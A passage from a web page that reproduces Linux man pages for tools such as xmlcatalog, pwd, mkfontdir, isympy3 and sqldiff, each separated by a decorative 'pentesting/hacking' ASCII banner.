
Invoking xmlcatalog non-interactively without a designated action (imposed with options like –add) will result in a lookup of the catalog entry for ENTITIES in the catalog denoted with CATALOGFILE. The corresponding entries will be output to the command line. This mode of operation, together with –shell mode and non-modifying (i.e. without –noout) direct actions, allows for a special shortcut of the void CATALOGFILE specification (possibly expressed as "" in the shell environment) appointing the default system catalog. That simplifies the handling when its exact location is irrelevant but the respective built-in still needs to be consulted.

SHELL COMMANDS

Invoking xmlcatalog with the –shell CATALOGFILE option opens a command line shell allowing interactive access to the catalog file identified by CATALOGFILE. Invoking the shell provides a command line prompt after which the following commands (described in alphabetical order) can be entered.

add TYPE ORIG REPLACE

Add an entry to the catalog file. TYPE indicates the type of entry. Possible types are: public, system, uri, rewriteSystem, rewriteURI, delegatePublic, delegateSystem, delegateURI, nextCatalog. ORIG is the original reference to be replaced, and REPLACE is the URI of the replacement entity to be used. The –add option will not overwrite CATALOGFILE, outputting to stdout, unless –noout is used. The –add will always take three parameters even if some of the XML catalog constructs will have only a single argument.

debug

Print debugging statements showing the steps xmlcatalog is executing.

del VALUE(S)

Remove the catalog entry corresponding to VALUE(S).

dump

Print the current catalog.

exit

Quit the shell.

public PUBLIC-ID

Execute a Formal Public Identifier lookup of the catalog entry for PUBLIC-ID. The corresponding entry will be output to the command line.

quiet

Stop printing debugging statements.

system SYSTEM-ID

Execute a Formal Public Identifier lookup of the catalog entry for SYSTEM-ID. The corresponding entry will be output to the command line.

ENVIRONMENT

XML_CATALOG_FILES

XML catalog behavior can be changed by redirecting queries to the users own set of catalogs. This can be done by setting the XML_CATALOG_FILES environment variable to a space-separated list of catalogs. Use percent-encoding to escape spaces or other characters. An empty variable should deactivate loading the default /etc/xml/catalog catalog.

DIAGNOSTICS

xmlcatalog return codes provide information that can be used when calling it from scripts.

0

No error

1

Failed to remove an entry from the catalog

2

Failed to save to the catalog, check file permissions

3

Failed to add an entry to the catalog

4

Failed to look up an entry in the catalog

SEE ALSO

libxml(3)

More information can be found at

·

libxml(3) web page https://gitlab.gnome.org/GNOME/libxml2

·

libxml(3) catalog support web page at https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Catalog-support

·

James Clarks SGML catalog page http://www.jclark.com/sp/catalog.htm

·

OASIS XML catalog specification http://www.oasis-open.org/committees/entity/spec.html

AUTHOR

John Fleck <[email protected]>

Author.

COPYRIGHT

Copyright © 2001, 2004

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

54 - Linux cli command wsrep_sst_mysqldump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wsrep_sst_mysqldump and provides detailed information about the command wsrep_sst_mysqldump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wsrep_sst_mysqldump.

NAME 🖥️ wsrep_sst_mysqldump 🖥️

mysqldump-based state snapshot transfer

DESCRIPTION

Use: mysqldump-based state snapshot transfer.

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

55 - Linux cli command pwd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pwd and provides detailed information about the command pwd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pwd.

NAME 🖥️ pwd 🖥️

print name of current/working directory

SYNOPSIS

pwd [OPTION]…

DESCRIPTION

Print the full filename of the current working directory.

-L, –logical
use PWD from environment, even if it contains symlinks

-P, –physical
avoid all symlinks

–help
display this help and exit

–version
output version information and exit

If no option is specified, -P is assumed.

NOTE: your shell may have its own version of pwd, which usually supersedes the version described here. Please refer to your shell’s documentation for details about the options it supports.

AUTHOR

Written by Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

getcwd(3)

Full documentation <https://www.gnu.org/software/coreutils/pwd>
or available locally via: info ‘(coreutils) pwd invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

56 - Linux cli command ucs2any

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ucs2any and provides detailed information about the command ucs2any, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ucs2any.

NAME 🖥️ ucs2any 🖥️

generate BDF fonts containing subsets of ISO 10646-1 codepoints

SYNOPSIS

ucs2any [ +d | -d ] source-name { mapping-file registry-encoding } . . .

DESCRIPTION

ucs2any allows one to generate from an ISO 10646-1 encoded BDF font other BDF fonts in any possible encoding. This way, one can derive from a single ISO 10646-1 master font a whole set of 8-bit fonts in all ISO 8859 and various other encodings.

OPTIONS

+d
puts DEC VT100 graphics characters in the C0 range (default for upright, character-cell fonts).

-d
omits DEC VT100 graphics characters from the C0 range (default for all font types except upright, character-cell fonts).

OPERANDS

source-name
is the name of an ISO 10646-1 encoded BDF file.

mapping-file
is the name of a character set table like those at <ftp://ftp.unicode.org/Public/MAPPINGS/>. These files can also typically be found installed in the /usr/share/fonts/X11/util directory.

registry-encoding
are the CHARSET_REGISTRY and CHARSET_ENCODING field values for the font name (XLFD) of the target font, separated by a hyphen.

Any number of mapping-file and registry-encoding operand pairs may be specified.

EXAMPLE

The command

ucs2any 6x13.bdf 8859-1.TXT iso8859-1 8859-2.TXT iso8859-2

will generate the files 6x13-iso8859-1.bdf and 6x13-iso8859-2.bdf.

FUTURE DIRECTIONS

Hopefully a future release will have a facility similar to ucs2any built into the server, and reencode ISO 10646-1 on the fly, because storing the same fonts in many different encodings is clearly a waste of storage capacity.

SEE ALSO

bdftruncate(1)

AUTHOR

ucs2any was written by Markus Kuhn.

Branden Robinson wrote this manual page, originally for the Debian Project.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

57 - Linux cli command mkfontdir

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mkfontdir and provides detailed information about the command mkfontdir, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mkfontdir.

NAME 🖥️ mkfontdir 🖥️

create an index of X font files in a directory

SYNOPSIS

mkfontdir [-n] [-x suffix] [-r] [-p prefix] [-e encoding-directory-name]  . . . [] [directory-name  . . . ]

DESCRIPTION

For each directory argument, mkfontdir reads all of the font files in the directory searching for properties named “FONT”, or (failing that) the name of the file stripped of its suffix. These are converted to lower case and used as font names, and, along with the name of the font file, are written out to the file “fonts.dir” in the directory. The X server and font server use “fonts.dir” to find font files.

The kinds of font files read by mkfontdir depend on configuration parameters, but typically include PCF (suffix “.pcf”), SNF (suffix “.snf”) and BDF (suffix “.bdf”). If a font exists in multiple formats, mkfontdir will first choose PCF, then SNF and finally BDF.

The first line of fonts.dir gives the number of fonts in the file. The remaining lines list the fonts themselves, one per line, in two fields. First is the name of the font file, followed by a space and the name of the font.

SCALABLE FONTS

Because scalable font files do not usually include the X font name, the file “fonts.scale” can be used to name the scalable fonts in the directory. The fonts listed in it are copied to fonts.dir by mkfontdir. “fonts.scale” has the same format as the “fonts.dir” file, and can be created with the mkfontscale(1) program.

FONT NAME ALIASES

The file “fonts.alias”, which can be put in any directory of the font-path, is used to map new names to existing fonts, and should be edited by hand. The format is two white-space separated columns, the first containing aliases and the second containing font-name patterns. Lines beginning with “!” are comment lines and are ignored.

If neither the alias nor the value specifies the size fields of the font name, this is a scalable alias. A font name of any size that matches this alias will be mapped to the same size of the font that the alias resolves to.

When a font alias is used, the name it references is searched for in the normal manner, looking through each font directory in turn. This means that the aliases need not mention fonts in the same directory as the alias file.

To embed white space in either name, simply enclose it in double-quote marks; to embed double-quote marks (or any other character), precede them with back-slash:

"magic-alias with spaces"	"\"font name\" with quotes"
regular-alias			fixed

If the string “FILE_NAMES_ALIASES” stands alone on a line, each file-name in the directory (stripped of its suffix) will be used as an alias for that font.

ENCODING FILES

The option -e can be used to specify a directory with encoding files. Every such directory is scanned for encoding files, the list of which is then written to an “encodings.dir” file in every font directory. The “encodings.dir” file is used by the server to find encoding information.

The “encodings.dir” file has the same format as “fonts.dir”. It maps encoding names (strings of the form CHARSET_REGISTRY*-*CHARSET_ENCODING ) to encoding file names.

OPTIONS

The following options are supported:

-e
Specify a directory containing encoding files. The -e option may be specified multiple times, and all the specified directories will be read. The order of the entries is significant, as encodings found in earlier directories override those in later ones; encoding files in the same directory are discriminated by preferring compressed versions.

-n
do not scan for fonts, do not write font directory files. This option is useful when generating encoding directories only.

-p
Specify a prefix that is prepended to the encoding file path names when they are written to the “encodings.dir” file. The prefix is prepended as-is. If a `/’ is required between the prefix and the path names, it must be supplied explicitly as part of the prefix.

-r
Keep non-absolute encoding directories in their relative form when writing the “encodings.dir” file. The default is to convert relative encoding directories to absolute directories by prepending the current directory. The positioning of this options is significant, as this option only applies to subsequent -e options.

**-x **suffix
Ignore fonts files of type suffix.


End options.

FILES

fonts.dir
List of fonts in the directory and the files they are stored in. Created by mkfontdir. Read by the X server and font server each time the font path is set (see xset(1)).

fonts.scale
List of scalable fonts in the directory. Contents are copied to fonts.dir by mkfontdir. Can be created with mkfontscale(1).

fonts.alias
List of font name aliases. Read by the X server and font server each time the font path is set (see xset(1)).

encodings.dir
List of known encodings and the files they are stored in. Created by mkfontdir. Read by the X server and font server each time a font with an unknown charset is opened.

SEE ALSO

X(7), Xserver(1), mkfontscale(1), xfs(1), xset(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

58 - Linux cli command rqinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rqinfo and provides detailed information about the command rqinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rqinfo.

NAME 🖥️ rqinfo 🖥️

Command line monitor for RQ

SYNOPSIS

rqinfo [OPTIONS] [QUEUES]. . .

DESCRIPTION

RQ is a command-line monitor for rq. It is part of python-rq module package.

OPTIONS

-i, –interval FLOAT
Updates stats every N seconds (default: don’t poll)

-r, –raw
Print only the raw numbers, no bar charts

-Q, –only-queues
Show only queue info

-W, –only-workers
Show only worker info

-R, –by-queue
Shows workers by queue

-S, –serializer TEXT
Path to serializer, defaults to rq.serializers.DefaultSerializer

-P, –path TEXT
Specify the import path.

–connection-class TEXT
Redis client class to use

–queue-class TEXT
RQ Queue class to use

-j, –job-class TEXT
RQ Job class to use

-w, –worker-class TEXT
RQ Worker class to use

-c, –config TEXT
Module containing RQ settings.

-u, –url TEXT
URL describing Redis connection details.

–help
Show this message and exit.

SEE ALSO

rq(1), rqworker(1),
Full rq documentation

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

59 - Linux cli command isympy3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command isympy3 and provides detailed information about the command isympy3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the isympy3.

NAME 🖥️ isympy3 🖥️

interactive shell for SymPy

SYNOPSIS

isympy

[-c | –console] [-p ENCODING | –pretty ENCODING] [-t TYPE | –types TYPE] [-o ORDER | –order ORDER] [-q | –quiet] [-d | –doctest] [-C | –no-cache] [-a | –auto] [-D | –debug] [ – | PYTHONOPTIONS]

isympy

[ {-h | –help} | {-v | –version} ]

DESCRIPTION

isympy is a Python shell for SymPy. It is just a normal python shell (ipython shell if you have the ipython package installed) that executes the following commands so that you don’t have to:

>>> from __future__ import division
>>> from sympy import *
>>> x, y, z = symbols("x,y,z")
>>> k, m, n = symbols("k,m,n", integer=True)

So starting isympy is equivalent to starting python (or ipython) and executing the above commands by hand. It is intended for easy and quick experimentation with SymPy. For more complicated programs, it is recommended to write a script and import things explicitly (using the “from sympy import sin, log, Symbol, …” idiom).

OPTIONS

-c SHELL, **–console=**SHELL
Use the specified shell (python or ipython) as console backend instead of the default one (ipython if present or python otherwise).

Example: isympy -c python

SHELL could be either ‘ipython’ or ‘python’

-p ENCODING, **–pretty=**ENCODING
Setup pretty printing in SymPy. By default, the most pretty, unicode printing is enabled (if the terminal supports it). You can use less pretty ASCII printing instead or no pretty printing at all.

Example: isympy -p no

ENCODING must be one of ‘unicode’, ‘ascii’ or ’no’.

-t TYPE, **–types=**TYPE
Setup the ground types for the polys. By default, gmpy ground types are used if gmpy2 or gmpy is installed, otherwise it falls back to python ground types, which are a little bit slower. You can manually choose python ground types even if gmpy is installed (e.g., for testing purposes).

Note that sympy ground types are not supported, and should be used only for experimental purposes.

Note that the gmpy1 ground type is primarily intended for testing; it the use of gmpy even if gmpy2 is available.

This is the same as setting the environment variable SYMPY_GROUND_TYPES to the given ground type (e.g., SYMPY_GROUND_TYPES=‘gmpy’)

The ground types can be determined interactively from the variable sympy.polys.domains.GROUND_TYPES inside the isympy shell itself.

Example: isympy -t python

TYPE must be one of ‘gmpy’, ‘gmpy1’ or ‘python’.

-o ORDER, **–order=**ORDER
Setup the ordering of terms for printing. The default is lex, which orders terms lexicographically (e.g., x**2 + x + 1). You can choose other orderings, such as rev-lex, which will use reverse lexicographic ordering (e.g., 1 + x + x**2).

Note that for very large expressions, ORDER=‘none’ may speed up printing considerably, with the tradeoff that the order of the terms in the printed expression will have no canonical order

Example: isympy -o rev-lax

ORDER must be one of ’lex’, ‘rev-lex’, ‘grlex’, ‘rev-grlex’, ‘grevlex’, ‘rev-grevlex’, ‘old’, or ’none’.

-q, –quiet
Print only Python’s and SymPy’s versions to stdout at startup, and nothing else.

-d, –doctest
Use the same format that should be used for doctests. This is equivalent to ‘isympy -c python -p no’.

-C, –no-cache
Disable the caching mechanism. Disabling the cache may slow certain operations down considerably. This is useful for testing the cache, or for benchmarking, as the cache can result in deceptive benchmark timings.

This is the same as setting the environment variable SYMPY_USE_CACHE to ’no’.

-a, –auto
Automatically create missing symbols. Normally, typing a name of a Symbol that has not been instantiated first would raise NameError, but with this option enabled, any undefined name will be automatically created as a Symbol. This only works in IPython 0.11.

Note that this is intended only for interactive, calculator style usage. In a script that uses SymPy, Symbols should be instantiated at the top, so that it’s clear what they are.

This will not override any names that are already defined, which includes the single character letters represented by the mnemonic QCOSINE (see the “Gotchas and Pitfalls” document in the documentation). You can delete existing names by executing “del name” in the shell itself. You can see if a name is defined by typing “’name’ in globals()”.

The Symbols that are created using this have default assumptions. If you want to place assumptions on symbols, you should create them using symbols() or var().

Finally, this only works in the top level namespace. So, for example, if you define a function in isympy with an undefined Symbol, it will not work.

-D, –debug
Enable debugging output. This is the same as setting the environment variable SYMPY_DEBUG to ‘True’. The debug status is set in the variable SYMPY_DEBUG within isympy.

PYTHONOPTIONS
These options will be passed on to ipython (1) shell. Only supported when ipython is being used (standard python shell not supported).

Two dashes (–) are required to separate PYTHONOPTIONS from the other isympy options.

For example, to run iSymPy without startup banner and colors:

isympy -q -c ipython – –colors=NoColor

-h, –help
Print help output and exit.

-v, –version
Print isympy version information and exit.

FILES

${HOME}/.sympy-history
Saves the history of commands when using the python shell as backend.

BUGS

The upstreams BTS can be found at ⟨https://github.com/sympy/sympy/issues⟩ Please report all bugs that you find in there, this will help improve the overall quality of SymPy.

SEE ALSO

ipython(1), python(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

60 - Linux cli command img2png

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command img2png and provides detailed information about the command img2png, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the img2png.

NAME 🖥️ img2png 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

61 - Linux cli command ts_calibrate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_calibrate and provides detailed information about the command ts_calibrate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_calibrate.

NAME 🖥️ ts_calibrate 🖥️

A test program to calibrate a touch screen used by tslib.

SYNOPSIS

ts_calibrate

DESCRIPTION

ts_calibrate is used to manually configure tslib’s linear filter plugin. It draws crosshairs to the framebuffer to be touched by the user and records expected vs. actual touch contact positions needed to apply the filter and provide a desired touch user experience. It uses the TSLIB_CALIBFILE environment variable to store it’s values.

-r, –rotate [value]

Rotate the screen. value is 0 for 0 degree, 1 for 90 degrees (CW), 2 for 180 degrees (upside down) and 3 for 270 degrees (CCW). This value will be added to the calibration config file TSLIB_CALIBFILE and picked up from the linear filter module from there. It can be changed by a linear module parameter.

-t, –min_interval

The time in milliseconds that has to pass before a crosshair is pressed by the user. This may be useful to avoid insanely fast or accidentally wrong taps and thus inaccurate calibration. Default: 0.

-c, –validate

Validate the calibration. Make sure the linear module is configured in ts.conf so that the current calibration is applied. In this mode, crosses are displayed at random locations on screen and touches are evaluated against their positions. In this mode the –loops and –boundary options are available.

-b, –boundary

Validation boundary in pixels. Available only when –validate is used. This defines how strict the validation should be. It’s the the distance that an evaluated touch input is allowed to be apart from a cross to still pass the validation. If this boundary is crossed, validation fails. Default: 10.

-l, –loops

Number of loops in validation mode. Available only when –validate is used. This defines how many crosses should be touched and evaluated. Default: 3.

ENVIRONMENT VARIABLES

see ts.conf (5)

SEE ALSO

ts.conf (5), ts_test (1), ts_uinput (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

62 - Linux cli command sqldiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sqldiff and provides detailed information about the command sqldiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sqldiff.

NAME 🖥️ sqldiff 🖥️

sqlite3 database difference utility

SYNOPSIS

sqldiff [options] database1.sqlite database2.sqlite

DESCRIPTION

The sqldiff binary is a command-line utility program that displays the differences between SQLite databases. The usual output is an SQL script that will transform database1.sqlite (the “source” database) into database2.sqlite (the “destination” database).

The sqldiff utility works by finding rows in the source and destination that are logical “pairs”. The default behavior is to treat two rows as pairs if they are in tables with the same name and they have the same rowid, or in the case of a WITHOUT ROWID table if they have the same PRIMARY KEY. Any differences in the content of paired rows are output as UPDATEs. Rows in the source database that could not be paired are output as DELETEs. Rows in the destination database that could not be paired are output as INSERTs.

The –primarykey flag changes the pairing algorithm slightly so that the schema-declared PRIMARY KEY is always used for pairing, even on tables that have a rowid. This is often a better choice for finding differences, however it can lead to missed differences in the case of rows that have one or more PRIMARY KEY columns set to NULL.

OPTIONS

**–changset **FILE
Do not write changes to standard output. Instead, write a (binary) changeset file into FILE. The changeset can be interpreted using the sessions extension to SQLite.

**–lib ***LIBRARY, ***-L **LIBRARY
Load the shared library or DLL file LIBRARY into SQLite prior to computing the differences. This can be used to add application-defined collating sequences that are required by the schema.

–primarykey
Use the schema-defined PRIMARY KEY instead of the rowid to pair rows in the source and destination database. (See additional explanation below.)

–schema
Show only differences in the schema not the table content

–summary
Show how many rows have changed on each table, but do not show the actual changes

**–table **TABLE
Show only the differences in content for TABLE, not for the entire database

–transaction
Wrap SQL output in a single large transaction

–vtab
Add support for handling FTS3, FTS5 and rtree virtual tables. See below for details.

LIMITATIONS

The sqldiff utility is unable to compute differences for rowid tables for which the rowid is inaccessible. An example of a table with an inaccessible rowid is:

CREATE TABLE inaccessible_rowid(
   "rowid" TEXT,
   "oid" TEXT,
   "_rowid_" TEXT
);

The sqldiff utility does not (currently) display differences in TRIGGERs or VIEWs.

By default, differences in the schema or content of virtual tables are not reported on.

However, if a virtual table implementation creates real tables (sometimes referred to as “shadow” tables) within the database to store its data in, then sqldiff.exe does calculate the difference between these. This can have surprising effects if the resulting SQL script is then run on a database that is not exactly the same as the source database. For several of SQLite’s bundled virtual tables (FTS3, FTS5, rtree and others), the surprising effects may include corruption of the virtual table content.

If the –vtab option is passed to sqldiff, then it ignores all underlying shadow tables belonging to an FTS3, FTS5 or rtree virtual table and instead includes the virtual table differences directly.

SEE ALSO

sqlite3(1).

